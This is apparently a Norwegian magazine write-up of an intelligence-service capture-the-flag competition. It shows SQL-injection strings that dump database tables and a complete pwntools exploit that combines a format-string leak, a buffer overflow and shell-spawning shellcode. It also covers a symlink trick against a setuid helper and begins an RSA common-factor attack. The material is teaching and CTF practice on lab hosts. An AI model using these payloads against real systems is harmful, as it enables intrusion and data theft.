Tech

E-tjenestens hackerlek

Sigve Indregard

fredag 6. mars 2020 kl. 06:00

5583 ord

Forsvarets etteretningstjeneste har laget en konkurranse i forbindelse med et nytt «talentprogram» for cyberspioner. Konkurransen er en Capture the flag, en populær form for «hackekonkurranse» der deltakerne skal finne ulike flagg, vanligvis i form av en slags passord, ved å løse oppgaver.

Dette er en morsom hobby, men det kan være vanskelig å lære seg de grunnleggende teknikkene. Det er også tradisjon for å skrive write-ups av løsningene, slik at man kan se hvordan andre har gått frem – vel å merke først når konkurransen er over.

Her er mine løsninger, kanskje det kan hjelpe deg i gang med hacking? Nå skal det sies at dette bare er løsningen, jeg har ikke skrevet opp alle blindveiene jeg tok, og ikke minst alle forsøkene som ble nesten riktig. Jeg har likevel forsøkt å gjenskape rekkefølgen i det jeg gjorde.

Merk at alle flagg og løsninger er fjernet eller endret, i tilfelle de samme oppgavene brukes igjen.

Her kan du se highscore-listen (jeg er Zig).

Oppdraget

Konkurransen var delt i tre – en opplæringsbit, et oppdrag, og en samling med «hjernetrim». Jeg går ikke gjennom opplæringsoppgavene eller hjernetrimmen – men sistnevnte var også veldig interessant!

Oppdraget ble introdusert med følgende tekst:

Vi har mottatt informasjon om at en ukjent trusselaktør har fått tilgang til maskiner knyttet til et av våre departementer. Basert på nåværende situasjonsforståelse er det lite som er kjent om hendelsesforløpet. Trusselen kommer fra en aktør i utlandet, trolig en aktør med omfattende ressurser.
Initiell analyse tilsier at aktøren eksfiltrerer data til domenet cloud-c2-70, på port 1337/TCP. Formatet er ukjent.
Det er også observert trafikk knyttet til aktøren mot denne nettadressen: http://keystore/query.php?keyname=oper@cloud-mgr-15
Oppdrag
Vi trenger informasjon om trusselaktørens kapabiliteter og intensjon.
Initielt ønsker vi å få vite hvem som lastet opp nøkler til keystore.
Videre er din oppgave er å få tilgang til serveren cloud-c2-70 og forsøke å avdekke hva som er stjålet i angrepet. Informasjon om trusselaktørens verktøy, infrastruktur, sertifikater og nøkler kan også være av interesse.

2.1 keystore

Oppgaven antyder at vi skal begynne med keystore. Vi forsøker URL-en som er gitt i oppgaven:

$ curl http://keystore/query.php?keyname=oper@cloud-mgr-15

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDRxi+RiZUVctodSwECa+ExkRlEUGlhLhX5c5drIAWmNeHW29mROl3D0smZFGvf5WSq7ff/BqKagWSBnUt2ImF0oAOVOJ8UBnCKAHWEZxg3eCzjdJhlWrlRdFO+HzHQWVrM9q7RahtWgXIgLys4lgZI5paaEvRBCnCLLnqFmzN4sFSzBsHAImx+rJzFgCT3XFs5gd5lGg7vCRGrjZsZzCAYbfYeYgge4TCk8IeCw1pwhbkKtV6mRlFI5j0IUyqzHUu/Hnj8EK/4eH8cmSOi+9rUKB3yoxxzqfBAH+bkITdhZ/O99qW4bTbEiONVVuleeTKqwRixTg3GEJHGQQNiXxur oper@cloud-mgr-15

Dette er den offentlige SSH-nøkkelen til brukeren oper på cloud-mgr-15. Det er ikke så mye å få ut av det – en offentlig nøkkel er ikke noen hemmelighet vi kan bruke (ennå). Men kanskje poenget var å fortelle oss at det finnes en maskin cloud-mgr-15?

Nei. $ ping cloud-mgr-15 gir ikke noe svar.

OK, men query.php?keyname=$query er typisk for SQL-injection-angrep. Hvis scriptet i query.php er usikkert programmert, sender det teksten i $query rett videre til et databaseoppslag, som for eksempel kan se slik ut: SELECT * FROM keys WHERE name='$query'.

Det er et problem fordi vi kan sette $query til for eksempel ' OR ''='. Da blir hele logikken i spørringen endret – vi spør nå etter alle nøkler der navnet er lik '' (formodentlig ingen) eller der ''='', noe som alltid er sant.

Det funker:

$ url=http://keystore/query.php?keyname=
$ curl "${url}' OR ''='"

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAE3r77TKxuqqUD+muVK0BPp3eQ0PKrogy6zpmWtK0rB48lOMjiPb2gKiYehuFFHiZev8H/TRDjoffVwKCAWKD9TF4o6Anj3T8SEUi88gXR9vXqoRr9T86eY+HaVv1Lt39+NW+1qmHvqUJ43EAJd9/Liga1+7CZ/A0kAWHfglrC7ABhYDVz6QPkTFNxWqHM8I769FQcsezD/Kk8T/fQZQLnxfwW54z4Yexy0W2A3xZDzuamDtW0szkkBONnRynNYHJ6Xkjfw87xxd0OtwS3dwvydJ/MyxnTeEVH1m4bsj0rZJutsYl/vKkw+ieojOrA1+laXC2DDQfPk2N+x/WCQLWMk= vault@laptop-mgr-46
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdNs2G40fwpq2rGXn5QCwz9NxGdAhJCBkcpLPSh5i9rNpHKsbcupmpmT4yaqYjF2EBJrG6/yJhKKwdxOjt3gawExzlR3fymkeXZ9L8LcTcSgD7h3tHWsjnSGER1XyHN8QMUcO0jD26VRPXE2nnSDdiW6c5p+xm6YQHjnGM+WH37yO+87chbURSujZSWELixU/rqL7L5dSuXs0gmFB9DWcIHW8Atuk5awyzAV4LkNn5sKySv+wIwoPbL7TuY9sBRXZFLJmHHLKd1I3Z1a002jqd1vuxAk6CXI4oU9uxMynpDSYG/8vu8ebEzGpXBYnzlQwlAohldfiDQy1hJN4X5lqV vault@laptop-mgr-21

...

Det gir oss til sammen 21 nøkler. En kjapp test av alle datamaskinnavnene i denne listen viser en som er i live: cloud-hq-42. Mer om den senere.

OK. Dette ga oss ikke egentlig informasjon om hvem aktøren vår er. Kan vi finne ut mer om databasen enn bare å liste ut nøkler? Hva er for eksempel de andre tabellene?

Det viser seg at spørrespråket SQL åpner for noen triks vi kan bruke. For det første kan vi slippe å forholde oss til alt som er til høyre for $query ved å sette inn en ;, som betyr at kommandoen er slutt, og så et kommentartegn, som betyr at serveren skal ignorere alt som kommer etter det . I noen SQL-varianter er det --, mens i MySQL er det #. Litt eksperimentering viser at vi har med MySQL å gjøre. Vi sender ASCII-kode 0x23, som er #. I tillegg kan SQL smelte sammen flere spørringer med UNION-klausuler:

SELECT * FROM tabell1 UNION SELECT * FROM tabell2

I tillegg finnes det en egen database over databasen i databasen, om det gir mening, som heter information_schema. Strategien er å smelte sammen spørringen som skriptet prøver å gjøre med vår spørring om hva som befinner seg i databasen.

Den eneste utfordringen er at vi må ha like mange kolonner som den opprinnelige spørringen har, og det vet vi ikke i utgangspunktet. Vi prøver oss frem til serveren ikke gir feilmelding. Det riktige svaret er 3. Dermed kan vi sende denne lille biten for å hente ut tabellnavn og kolonnenavn fra databasen:

$ curl "${url}' OR 1=1 UNION SELECT table_schema, table_name, column_name FROM information_schema.columns;%23"

... (mange klipte linjer)

keystore keystore key_id
keystore keystore key_type
keystore keystore key_data
keystore keystore owner
keystore user_key_upload user_id
keystore user_key_upload key_id
keystore user_key_upload upload_date
keystore userstore user_id
keystore userstore user_name
keystore userstore user_password

Det finnes tre tabeller: keystore, user_key_upload og userstore. Den første er den vi allerede får se. Den siste er listen over brukere, og den midterste er en kobling mellom brukere og nøkler.

Vi dumper dem ut med samme triks, nå ved å sette $query til UNION SELECT user_id, user_name, user_password FROM userstore og så videre. Det gir noen digre tabeller, her er de siste linjene fra hver:

I userstore:

user_id	user_name	user_password
32007	Zivko Manafov	bf4813306a746138dd351086b4899415
32009	Stephanie Rodrigues	847603bda702d52daa1d6b3b8f91a214
32020	Taoufik Geziry	d8c1ab9e58afdf0b380cd501455e2aae
32026	Tontowi Benedetti	68c5efd7e05f22d8bd7ba7834f27c9a7
32077	Wenjun Taimsoo	8bd6fa6f88f3645ac73df8f51084a582
32286	Junjing Kang	d92362eac6007bea6d7528611b835a81
32362	Bubmin Saenz	c0c857745cd8f3026d6575d97a017fcc
32368	Mohamed Nystrand	3544f5b09bd97af9766f3c52fd50951d
32392	Nakyeong Lin	f9e217587d09b859bdb8e88692e6f2ab
32685	Alessio Ariza	425a626872eb4b926ea96f7affb7b4cf

I user_key_upload:

user_id	key_id	upload_date
25178	19968	980898231
25628	19975	1283698232
14415	19982	1278955985
13044	19989	1554008784
10713	19996	1250160320

Og så må vi hente kolonnen key_id fra keystore:

key_id	key_type	owner
18617	ssh-rsa	vault@laptop-c2-86
18813	ssh-rsa	oper@laptop-c2-25
18876	ssh-rsa	oper@cloud-c2-57
19044	ssh-rsa	vault@laptop-cache-1
19408	ssh-rsa	vault@cloud-cache-73

Poenget her er at vi kan finne key_id for nøkkelen i oppgaven (oper@cloud-mgr-15), som er 17693. Deretter kan vi finne ut hvilken user_id som lastet den opp (20524), og så slå opp hva denne brukeren heter i userstore. Jeg lastet ned alle tabellene og brukte grep for å finne dem. Alternativt kan man slå det opp direkte i databasen.

Bruker 20524 er i hvert fall 20524 NAVN NAVNESEN 014aedf1bc63277183ae5034c023c8ba. Vi sender inn «Navn Navnesen», og det er riktig!

Åpenbart et fiktivt navn, men godt jobbet allikevel. Vi har indikasjoner på at aktørens kryptonøkkel-generator har en bakdør. Kan du undersøke videre?

2.2 lootd

Nå er tiden kommet for å undersøke det andre hintet i den opprinnelige teksten, en tjeneste som lyttet på cloud-c2-70:1337. Vi fyrer opp nc, et lite hjelpemiddel som sender input og output fra vår maskin til en nettverksport.

$ nc cloud-c2-70 1337
>

OK, den venter på en kommando. Kanskje... hjelp?

> help
./lootd: available commands: help, upload, download, uname, uptime

> download
filename > test
done. 0 bytes

> download
filename > /etc/passwd
access token > 
./lootd: needs access token for '/etc/passwd'

Hm, ./lootd antyder at denne tjenesten kjører fra gjeldende katalog.

> download
filename > lootd

{...}

done. 14208 bytes

Det som er klippet vekk her (…) er en tekstvisning, «hexdump», av en binær fil, en såkalt hexdump. De første linjene ser slik ut:

00000000  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 | .ELF............
00000010  03 00 3e 00 01 00 00 00 90 11 00 00 00 00 00 00 | ..>.............
00000020  40 00 00 00 00 00 00 00 80 31 00 00 00 00 00 00 | @........1......
00000030  00 00 00 00 40 00 38 00 09 00 40 00 18 00 17 00 | [email protected]...@.....
00000040  06 00 00 00 04 00 00 00 40 00 00 00 00 00 00 00 | ........@.......

De første bytene i denne filen, 0x7f454c46 er kjennetegnet på en kjørbar fil på Linux, Executable and Linkable Format. Vi kan konvertere denne dumpen tilbake til en binær fil og analysere oppbygningen for å se om det finnes noen svakheter. Reverseringen fra hexdump til binær gjøres med xxd -r <fil>.

Først noen grunnleggende analyser med pwnlib:

$ pwn checksec lootd
[*] '/home/login/2_oppdrag/lootd'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

Filen er i 64-bit format. Men den mangler flere moderne beskyttelsesmekanismer: NX (No eXecute) betyr at programmet nekter å kjøre instruksjoner fra visse deler av minnet. RWX-segmenter er deler av minnet som vi både kan lese fra, skrive til og kjøre, hvis vi er heldige og programmereren har gjort en feil. Til gjengjeld er PIE skrudd på. Det betyr at minneadressene til de ulike funksjonene i filen stokkes om for hver kjøring, som kan være til bry for oss.

Det virker som om denne tjenesten kan være sårbar for et overflytangrep, der vi som bruker kan sende kode inn i minnet til maskinen, og deretter lure maskinen til å hoppe videre til nettop denne minnebiten. Vi ser på filen i Ghidra:

  main
        00101a08                 PUSH       RBX
        00101a09                 ADD        RSP,-0x80
        00101a0d                 MOV        RBX,RSP
        00101a10                 MOV        ECX,0x10
        00101a15                 MOV        EAX,0x0
        00101a1a                 MOV        RDI,RBX
        00101a1d                 STOSQ.REP  RDI
        00101a20                 LEA        RDI,[DAT_0010202b]
        00101a27                 CALL       printf
        00101a2c                 MOV        RDI,qword ptr [stdout]
        00101a33                 CALL       fflush
        00101a38                 MOV        RDI,RBX
        00101a3b                 CALL       gets

Det går litt langt å forklare alt her, men koden på 00100a09 flytter en peker til «stacken», et minneområde i datamaskinen, 0x80=128 bytes. Deretter lagres denne pekeren i registeret RBX. Så skriver den ut > . Så, i 00101a38, flyttes pekeren vår til RDI og programmet gjør systemkallet gets.

gets leser inn tegn fra brukeren og legger det på adressen i RDI. Men hva om vi leser inn mer data enn det er plass til? Vel, da skriver gets bare videre, og overskriver data.

Dette er ekstra problematisk fordi hver funksjon i programmet bruker stacken til å holde styr på hvor den skal returnere når den er ferdig. For eksempel må funksjonen main her på et eller annet tidspunkt returnere, og da må prosessoren vite til hvilken adresse, og minnet til den funksjonen må være som før funksjonen ble kalt. Så returnering betyr å a) flytte stack-pekeren tilbake til der den var, b) ta verdien fra toppen av stacken og putte den inn i registeret datamaskinen bruker til å vite hva neste instruksjon er. Det skal selvsagt normalt sett være stedet programmet skal fortsette etter at funksjonen er ferdig. Men vi kan i stedet bare skrive over dette stedet.

Ved hjelp av en debugger (gdb med tillegget pwndebug) kan vi lett finne ut hvordan stacken vår ser ut i det øyeblikket vi sender inn streng som er for lang. Vi sender 144 A-er. gets legger på en \0 til slutt som terminerer strengen, slik at dette skal bli akkurat en byte for langt, og dermed overskriver vi akkurat den første byten av neste stack:

gdb -q ./lootd
Reading symbols from ./lootd...
(No debugging symbols found in ./lootd)
> run
Starting program: /home/say/Workspaces/lootd/lootd
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.

RBX  0x4141414141414141 ('AAAAAAAA')
...
RSI  0x7fffffffda70 —▸ 0x7ffff7ffc908 ◂— "./lootd: unknown command: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'"
...
RSP  0x7fffffffdbb8 ◂— 'AAAAAAAA'
RIP  0x555555555b0e ◂— ret

...

OK, så her kræsjer programmet på instruksjonen ret en stund senere. En grundigere analyse i Ghidra viser at programmet først kaller en funksjon for å skrive feilmeldingen, og så, når den returnerer derfra, blir vår overskrevne verdi puttet inn i stacken. Verdien blir også puttet tilbake i RBX, legger vi merke til.

Javel, da vet vi at klarer å få programmet til å hoppe til en adresse. Men hvilken adresse? Vi må lete etter en svakhet til i lootd som lekker en minneadresse vi kan bruke. Et søk etter printf er lurt:

unknown_command:
001019d3                 PUSH       RBX
001019d4                 MOV        RBX,RDI
001019d7                 LEA        RDI,[s_./lootd:_unknown_command:_'_001020cc]
001019de                 MOV        EAX,0x0
001019e3                 CALL       printf
001019e8                 MOV        RDI,RBX
001019eb                 MOV        EAX,0x0
001019f0                 CALL       printf
...

Ojda, dette andre kallet til printf tar vår input og sender det til printf. Men printf skal egentlig motta en formatstring med forskjellige variabler som ekstra argumenter. For eksempel returnerer %s med en peker til en streng selve strengen, %d returnerer et heltall, osv. Og så har vi %p – som printer minneadressen til variabelen. Hvis den ikke mottar en variabel, printer den bare i vei fra der den er på stacken. Fint for oss! Vi kan dermed printe ut noen minneadresser ved å bare skrive %p-er bortover i inputen:

$ nc cloud-c2-70 1337
> %p %p %p %p %p %p %p 
./lootd: unknown command: '0x55956c29a0e7 0xffffffff 0 0x7ffcf80e7eb8 0 0x7ffcf80e8100 0x55956c299af6'

I Linux er disse 0x55-adressene typisk heap-minne, mens 0x7f er stack og programkode. Det ser altså ut som det ligger noen adresser til stacken her... Vi setter opp et breakpoint i gdb for å se nøyaktig hva som ligger på stacken idet dette kallet blir kjørt:

pwndbg> break printf
Breakpoint 1 at 0x1040

pwndbg> run
Starting program: /home/say/Workspaces/lootd/lootd

Breakpoint 1, 0x00007ffff7fa90b0 in printf () from /lib/ld-musl-x86_64.so.1

Dette er første kall til printf, altså der den skriver ut > . Vi må hoppe videre et par breakpoints.

pwndbg> c
Continuing

> %p %p %p %p %p %p %p %p %p
Breakpoint printf

...

──────────────────────────────[ STACK ]───────────────────────────────
00:0000│ rsp      0x7fffffffdb18 —▸ 0x5555555559f5 ◂— lea    rdi, [rip + 0x6ea]
01:0008│          0x7fffffffdb20 —▸ 0x7fffffffdb30 ◂— '%p %p %p %p %p %p %p %p %p %p'
02:0010│          0x7fffffffdb28 —▸ 0x555555555af6 ◂— jmp    0x555555555b09
03:0018│ rbx rdi  0x7fffffffdb30 ◂— '%p %p %p %p %p %p %p %p %p %p'
04:0020│          0x7fffffffdb38 ◂— ' %p %p %p %p %p %p %p'
05:0028│          0x7fffffffdb40 ◂— 'p %p %p %p %p'
06:0030│          0x7fffffffdb48 ◂— 0x7025207025 /* '%p %p' */
07:0038│          0x7fffffffdb50 ◂— 0x0

...

pwndbg> c
./lootd: unknown command: '0x5555555560e7 0xffffffff 0 0x1b 0x7ffff7ffb280 <strong>0x7fffffffdb30</strong> 0x555555555af6 0x7025207025207025 0x2520702520702520'
Breakpoint 1, 0x00007ffff7fa90b0 in printf () from /lib/ld-musl-x86_64.so.1

Legg merke til at strengen vår er lagret i 0x7fffffffdb30 - det fjerde elementet på stacken – og nettopp denne adressen er en av verdiene vi får ut fra vår kidnappede printf-funksjon! Dermed har vi både en måte å skrive på stacken og en måte å lese ut hvilken adresse det havner på. Da har vi alt vi trenger, og kan lage et script som utfører vår onde kode. Vi benytter oss av det fantastiske pwntools, som gjør dette til en lek.

Merk bruken av shellcode. Dette er bittesmå programsnutter vi kan få plass til i de 136 bytene vi har plass til før vi når programpekeren RIP. I dette tilfellet velger vi en shellcode som kjører systemkallet exec med argumentet bin/sh, som gir et shell. Dette systemkallet overfører styringen fra programmet til kjøres til et nytt.

Python-programmet under kobler til, sender printf-strengen, leser av adressen, sender så inn koden, og skriver over toppen av stacken med pekeren til koden vår. Neste gang en funksjon returnerer, blir adressen flyttet fra stacken til RIP, og datamaskinen setter i gang med å kjøre vår lille kodesnutt.

from pwn import *
context(arch="amd64", os="linux")

r = remote("cloud-c2-70", 1337)

r.recvuntil("> ")
r.sendline("%p " * 6)
# 8, ikke 5, fordi den først skriver ./lootd: unknown command
s = r.recv().split(b' ')[8]
address = p64(int(s, 16))

log.info("Stackadresse {}".format(s.decode('utf-8')))

shellcode = asm(shellcraft.amd64.linux.sh())

# Avstanden fra bufferet til RIP-pekeren er 136 bytes
padding = b"A" * (136-len(shellcode))
payload = shellcode + padding + address

log.info("Pushing shellcode...")
r.sendline(payload)
r.sendline(b'echo pwned')
log.success("[hacker voice] I'm in")
r.interactive()

OK, funker det, da?

$ python3 ./win.py
[+] Opening connection to cloud-c2-70 on port 1337: Done
[*] Stack address 0x7fff9156db80
[*] Pushing shellcode...
[+] [hacker voice]  I'm in
[*] Switching to interactive mode
pwned
$ id
uid=1000(lootd) gid=65534(nobody) groups=65534(nobody),65534(nobody)

Jepp! Vi er logget inn som brukeren lootd.

En enkel ls viser at katalogen inneholder filene lootd og FLAG.

$ cat FLAG

  ....                                                   . .  .
 .<X1|:                                  .____==i|||i||*|||+||+||||||==,_,
  -nc=___..               ...____=<|||ii*||+||+|=;=;;;;::::::.:......:==+:
   de.:=+++||||||||||||||*|||++|+|======;=======saa=;;;::::.-.-..-..:-::::.
  .3e....---.:-:-::::::;;::;;==;=;=============qQQWmgc:;:::::.:.-..-.:::::.
   de ..:.-.:---::::::;:;;=wmQw>==============)QWQWWB(:;:::-.:..-.-.:.::::
  .3e...-.:.:.::-:-::::;=wmWWWWm===swwmQQmQmywUW@Y!+;;;:;::::.--..-.-:::::
   de .-.:.--:--::::::;;=YV#B$WB$mQQWQQWWQQWQWWm>:=;=;;::::---.:.-..:.::::
  .3e...:..:.:.::-::::;:;::;;;vmQWQWQQQQQQQQQQQWz===;;;;::::---...-.-:::::
   de....--.:.::::::::;;;;;=;=mQQQQQWWQQWVTTVWQW(==;=;;:;:::.:.-.:..:.::::
  .3e ..:.---::.::::::;:;;;;;=WWWV!++<WWe;===3WC====;;;;::::.:.-...-.:::::
   de....-.:.:.:::::::;;;;;;==)Wm====wWWmwaawWB=====;;;:::::-.:.-.-.:.::::
  .3e...:.:.:.:::-::::;:;;;;;;;3QQgmQWwamWWB#mmw>+===;;;::::.:..-.-.-:::::
   de ...-.:.::.::::::;:;;;;==ammm?WQQWWWBV|?HWWQWQQmc;:;:::.:.:...-.:::::
  .3e..--.:.:.::::::::;;;;<awmQWT+=<I2X3*!+===)QWQWBT(;:::::.:...-.--:-:::
   de....:.-.:.:-::::::;=mWWWWWC======;;=======!VHV(:;;:;::-:.--..-.--::::
  .3e ..:..:-:-:-:::::;::??$WWD(;================;;;;;;::::-.:..-..-.:::::
   de....--.:.:.:::::::;;;;+!+=;;=;===========;;;:;:::.:.............--:::
  .3e ..-.--.:.::-:::::;:;;;:=;;;;;:::----- -  .                       . .
   de.   . ................- - . .
  .3e;
   de.                                                            ╭──────╮
  .3e.                                ╭───────────────────────────╯ FLAG │
   31.                                │ FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF │
  .3e.                                ╰──────────────────────────────────╯

ARR, vi klarte det. Når vi legger inn flagget, får vi beskjed om at det ville vært praktisk å ha shellinnlogging på denne maskinen…

2.3 lootd_home

Nå skal det sies at man, i stedet for å skaffe seg shelltilgang på denne boksen, kunne ha lastet ned FLAG direkte. lootd tillater nedlastinger av filer fra samme katalog som den kjører, men hindrer alle filnavn som inneholder . eller /.

I hvert fall er neste oppgave å finne flagget i katalogen over den vi står i med shellet. Til det trenger man å gjøre det vi gjorde i 2.2, så det er ingen fare. Vi kjører

$ pwd
/home/lootd
$ cd ..
$ ls
FLAG
lootd
oper
vault
$ cat FLAG

Et nytt flagg, denne gang med ASCII-kunst av en konkylie. Når dette flagget legges inn, ber oppdragsgiveren om å finne ut hvilke filer som ble lastet opp.

2.4 lootd_vault

lootd har også en upload-funksjon. Med litt roting rundt i Ghidra ser vi at det som skjer med data som lastes opp, er at det blir sendt til scriptet /usr/sbin/moveloot på serveren. Ghidra kan oversette assembly-koden til litt mer lesbar C; her er et lite klipp av funksjonen som tar seg av opplasting:

undefined8 upload(void)

{
  int __c;
  long lVar1;
  FILE *__stream;
  int *piVar2;
  char *pcVar3;
  long lVar4;
  
  lVar1 = input_size(&DAT_0010203c,0x10000);
  if (lVar1 != 0) {
    __stream = popen("/usr/sbin/moveloot","w");

...

OK, med shelltilgangen vår kan vi få tak i denne filen og laste den ned. Det er overraskende komplisert å få noe ut av denne boksen, men vi kan gjøre det samme som lootd gjør: konvertere til hex og så konvertere tilbake.

Jeg brukte mye tid på å prøve å finne en svakhet i moveloot, men det er ikke noen svakheter der så vidt jeg klarte å se. Men lootd bruker også moveloot andre veien, til å hente data. I moveloot i ghidra kan vi se at den putter data inn i /vault/loot. Dessverre kan ikke brukeren lootd lese fra den katalogen. Men moveloot kan, for moveloot har et flagg som gjør at den kjører med privilegiene til brukerkontoen som eier filen (SETUID).

Her tror jeg nok at de som lagde oppgaven hadde sett for seg at man måtte skaffe seg superbrukertilgang på boksen for å få tilgang til /vault. Men vi kan utnytte moveloots privilegier på en annen måte.

Moveloot leser nemlig symbolske lenker, et nyttig triks i Unix der et filnavn bare er en peker videre til et annet filnavn. Den sjekker bare om filnavnet inneholder . eller /, og det gjør ikke den symbolske lenken. I kombinasjon betyr det at vi kan lage en symbolsk lenke i /home/lootd (som lootd får lov til å lese fra) til filer i /vault/loot. Men vi må gjette filnavnet, så vi gjetter FLAG. Bingo!

$ ln -s /vault/loot/FLAG FLAG2
$ moveloot -f FLAG2

                                           ╭──────────────────────────────────╮
x             _ +s,                         │ FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF │
x             +:<nl:..:;;;.                 ╰───────────────────────────╮ FLAG │
x        ._>=|||=+=;:;;;:-                                              ╰──────╯
x   .__au2"==::|+++=:.::
x .%?X##c:;==+|==+=;;:::;:
x :lvX22n=+=|<i=+==;====;::           . .                       ._,,__.
x  -+||||lIIYSSXos;:;;;;;:   _uqmmo .==;=;;;::::::::::::.   ._aamQQQQmmmwos.
x           --~+Ivoi:-.- .<wmmWWWWC ==++========;:;:;::::.<qmWmZ!""!?9HQQQZo,
x               -ivvnnaaadmmmWWWWQQa;++|||+|++==;;::----_wmmmmm;       -"4#mc
x                -~+Ivnn2XZ#BWWWWWWmWo=+++|++==- ._aaamQQBm##Z#ma,.::..   )XX;
x                    ~"InoXU##?!?$m#ZX;==+==;-.swQQQWWWWmm#ZZZU#mQm,     .%XX>
x                   .  :vnoXZ'   -3UZXc.----.umWWWWWWBm##ZZXXXZ#mWWQwsssuZXSS(
x                    . .ivnXX,    -XZXXos_aammmmmmmm##ZZXXXSSXZ#mWmW###Z#ZXoS`
x                       -<IvXXa.  )#ZZXXX#XZZZ#Z#ZZXXXS22onnoXZmmBmm###ZZXe{2
x                         <ivnXmuq#ZZZXXX2S2S2SoSo22oonnnvIvnoSX#UUZZZZZX2`)e
x                          +iv2X###UXYIvIvvvIIvIvvvvvvIli||||In2SSSXXXZZX( =e
x                            -nXU##Xl+|i=--~~++++|+||illvvvIvIiIIno2SSXZXz =|
x                             =n##UX>=iii.           -+vvvvvnvnvilIooSXZmmc.-
x                             :dmWWm>|i|ii             -~ilvvvIIli|iInXZ##G>:.
x                              {#W#2`~lvvv=             .|+-~|>+<|||=-{XSS2(;=;
x                              =mZZ(   <nnn;                 --.ivi>-  <oXX;-==.
x                             _wmB#(   <o2on;                 .voon=   <dmmc -:.
x                           ._d##8S'  <non1>`               .<uoon}`  .3Z#We
x                           =!*11~   :++||+                 :++{}`   _IY2n+
x                                                             .      --- -

Beskjeden vi får når vi legger inn flagget ser ut til å anta at vi har tilgang til all loot, men det har vi ikke:

Alle filene er visst krypterte... Du må følge aktøren videre.

Vi kan ikke gjette de andre filnavnene, og litt inspeksjon av moveloot viser at de blir gitt en kjempelang, tilfeldig hale. Vi må altså skaffe oss ekte tilgang. Men kan den kua være et hint?

2.5 headquarters

Før vi skal gi svaret på det, må vi følge aktøren videre – bryte oss inn i hovedkvarteret. Fra vår første rekognosering av ssh-nøklene vet vi at det finnes en boks som heter cloud-hq-42 med en bruker oper. Vi kan prøve å koble til:

$ ssh oper@cloud-hq-42
oper@cloud-hq-42: Permission denied (publickey,keyboard-interactive).

Vi har også en offentlig nøkkel, men vi mangler den private. Hm. Kan det være mer å finne på cloud-c2-70? Ja. Det er to andre brukere, vault og oper, som har sine hjemmeområder der.

Hos oper finner vi bare en fil, /home/oper/bin/crypt0r, som vi ikke en gang får lese. Jeg leste den av med symbolsk lenke-trikset og kopierte den for analyse. Den tar en input og en nøkkel og krypterer inputen symmetrisk, det vil si at det man får ut kan dekrypteres med den samme nøkkelen. Det virket ikke å være noen svakheter i metoden, uten at jeg helt klarte å avsløre hva som var algoritmen.

Hos vault er det tilsynelatende tomt, men det finnes en skjult fil (som på unix-baserte systemer bare betyr at filnavnet begynner med ..).

$ cd /home/vault
$ ls

$ ls -a
.
..
.ash_history

Interessant! Det er kommandohistorikken til en bruker, altså hva hen har skrevet inn når hen var innlogget. Hva står det der?

$ cat .ash_history
curl -o /tmp/xxx http://keystore/query.php?keyname=oper@cloud-mgr-72
cat /tmp/xxx
rm -rf /tmp/xx
exit
find /vault/loot -type f
find /vault/loot -type f | wc -l
du -ms /vault/loot
curl http://keystore/query.php?keyname=oper@cloud-hq-42
vi id
tar cz /vault/loot | ssh -i id oper@cloud-hq-42 lootimport
rm id
exit

OK, vi bryter det ned. Curl laster ned en offentlig nøkkel fra keystore og lagrer den i /tmp/xxx. Deretter skriver cat innholdet til skjermen. Så forsøker hen å fjerne filen, men skriver en x for lite. Så logger hen ut. Så i neste sesjon lister find opp alle filene i /vault/loot, hen teller deretter alle filene, og sjekker hvor mye diskplass de tar (du). Så laster hen ned en til offentlig nøkkel – denne gang til maskinen vi vil inn på, cloud-hq-42. Så lager hen en ny tekstfil, id. Deretter pakkes innholdet i /vault/loot sammen med tar og sendes til et program lootimport på cloud-hq-42 via ssh, og ssh bruker id som nøkkel (identitet). Til slutt slettet hen id.

Basert på dette ser det ut til at personen kan lage en privat ssh-nøkkel basert på de to nøklene. Det visste jeg ikke at var mulig, så her gravde jeg meg dypt ned i researchen. Men det viser seg at det er mulig - for noen helt spesielle nøkler. Årsaken er interessant og ganske matematisk; du kan hoppe over hvis du vil.

2.5.1 RSA common factor attack

RSA, som er kryptoalgoritmen bak dette systemet, fungerer slik: Den som vil kryptere noe lager seg to hemmelige tall $p$ og $q$ . Begge må være store (veldig store) primtall. Våre nøkler her er 2048 bit, så primtallsfaktorene vil være minst 1024 bit lange – oversatt til titallssystemet er det et tall med over 300 sifre.

Det er lett (for en datamaskin) å gange dem sammen, og produktet, som i RSA kalles $n$ , er den offentlige nøkkelen. For selv om vi vet hvordan man ganger sammen to store tall, har vi ingen effektiv måte å finne $p$ og $q$ dersom vi blir gitt $n$ – annet enn å prøve alle muligheter. Det er veldig mange muligheter.

Litt tallteori: Alle tall kan faktoriseres til et produkt av primtall. 12, for eksempel, er lik $3 \times 2 \times 2$ . I tillegg er det bare en løsning for hvert tall – det finnes ikke noen annen kombinasjon av primtall som gir 12. Disse primtallene er nødvendigvis divisorer for tallet vårt – det betyr at man kan dele tallet på dem. Det kan også finnes andre divisorer – i tilfellet 12 finnes både 6 og 4 – som ikke er primtall.

Euklid, den gamle rakkeren, lærte oss for veldig lenge siden hvordan man veldig effektivt finner den største felles divisoren for to tall. Altså, om vi har $n_1$ og $n_2$ , og de begge har divisoren $p$ (men ganget med ulike $q_1$ og $q_2$ ), så vil det være en smal sak å finne $p$ . Gitt definisjonene våre over er det klart at $n$ bare er satt sammen av $p$ og $q$ . Med den kunnskapen kan vi rekonstruere: $q_i = \frac{n_i}{p}$ , og dermed har vi de tallene som skulle være hemmelige.

